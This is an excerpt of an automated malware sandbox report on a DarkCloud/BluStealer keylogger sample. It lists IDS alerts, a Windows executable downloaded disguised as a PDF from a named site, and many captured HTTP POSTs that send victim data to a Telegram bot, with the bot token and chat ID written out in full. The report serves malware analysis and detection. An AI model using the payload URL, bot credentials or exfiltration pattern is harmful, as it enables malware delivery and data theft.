Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B3DB42h	10_2_04B3D770
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B3DB42h	10_2_04B3D760

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 190.107.177.80:80 -> 192.168.2.10:49705
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 190.107.177.80:80 -> 192.168.2.10:49705
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 190.107.177.80:80 -> 192.168.2.10:49795
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 190.107.177.80:80 -> 192.168.2.10:49795
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.10:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.10:49992 -> 149.154.167.220:443

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 08:10:03 GMT Content-Type: application/pdf Content-Length: 2304000 Last-Modified: Thu, 14 Nov 2024 19:06:19 GMT Accept-Ranges: bytes Cache-Control: max-age=2592000, public Expires: Sun, 15 Dec 2024 08:10:03 GMT Vary: Accept-Encoding Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 32 30 46 38 45 32 44 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 38 43 31 31 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 39 45 41 41 31 31 30 30 30 30 32 30 30 30 30 30 30 30 43 30 31 31 30 30 30 30 30 30 34 30 30 30 30 30 32 30 30 30 30 30 30 30 30 32 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 32 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 33 30 30 34 30 38 35 30 30 30 30 31 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 41 41 31 31 30 30 34 42 30 30 30 30 30 30 30 30 43 30 31 31 30 30 33 34 30 33 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 31 31 30 30 30 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 41 34 38 41 31 31 30 30 30 30 32 30 30 30 30 30 30 30 38 43 31 31 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 43 30 31 31 30 30 30 30 30 34 30 30 30 30 30 30 38 45 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 3
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx Date: Fri, 15 Nov 2024 08:10:21 GMT Content-Type: application/pdf Content-Length: 2304000 Last-Modified: Thu, 14 Nov 2024 19:06:19 GMT Accept-Ranges: bytes Cache-Control: max-age=2592000, public Expires: Sun, 15 Dec 2024 08:10:21 GMT Vary: Accept-Encoding Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 32 30 46 38 45 32 44 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 38 43 31 31 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 39 45 41 41 31 31 30 30 30 30 32 30 30 30 30 30 30 30 43 30 31 31 30 30 30 30 30 30 34 30 30 30 30 30 32 30 30 30 30 30 30 30 30 32 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 32 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 33 30 30 34 30 38 35 30 30 30 30 31 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 41 41 31 31 30 30 34 42 30 30 30 30 30 30 30 30 43 30 31 31 30 30 33 34 30 33 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 31 31 30 30 30 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 41 34 38 41 31 31 30 30 30 30 32 30 30 30 30 30 30 30 38 43 31 31 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 43 30 31 31 30 30 30 30 30 34 30 30 30 30 30 30 38 45 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 3

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /Fhpnud.pdf HTTP/1.1Host: nexoproducciones.clConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Fhpnud.pdf HTTP/1.1Host: nexoproducciones.clConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 190.107.177.80 190.107.177.80
Source: Joe Sandbox View	IP Address: 190.107.177.80 190.107.177.80
Source: Joe Sandbox View	IP Address: 162.55.60.2 162.55.60.2

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: showip.net

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49806 -> 162.55.60.2:80

Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 16469Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Fhpnud.pdf HTTP/1.1Host: nexoproducciones.clConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Fhpnud.pdf HTTP/1.1Host: nexoproducciones.clConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Project1Host: showip.net

Source: global traffic	DNS traffic detected: DNS query: nexoproducciones.cl
Source: global traffic	DNS traffic detected: DNS query: showip.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 16469Connection: Keep-AliveCache-Control: no-cache

Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nexoproducciones.cl
Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nexoproducciones.cl/Fhpnud.pdf
Source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://showip.net/
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2529637627.0000000001209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546
Source: InstallUtil.exe, 00000007.00000002.2529637627.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/m
Source: InstallUtil.exe, 00000007.00000002.2533776303.0000000003D67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/s
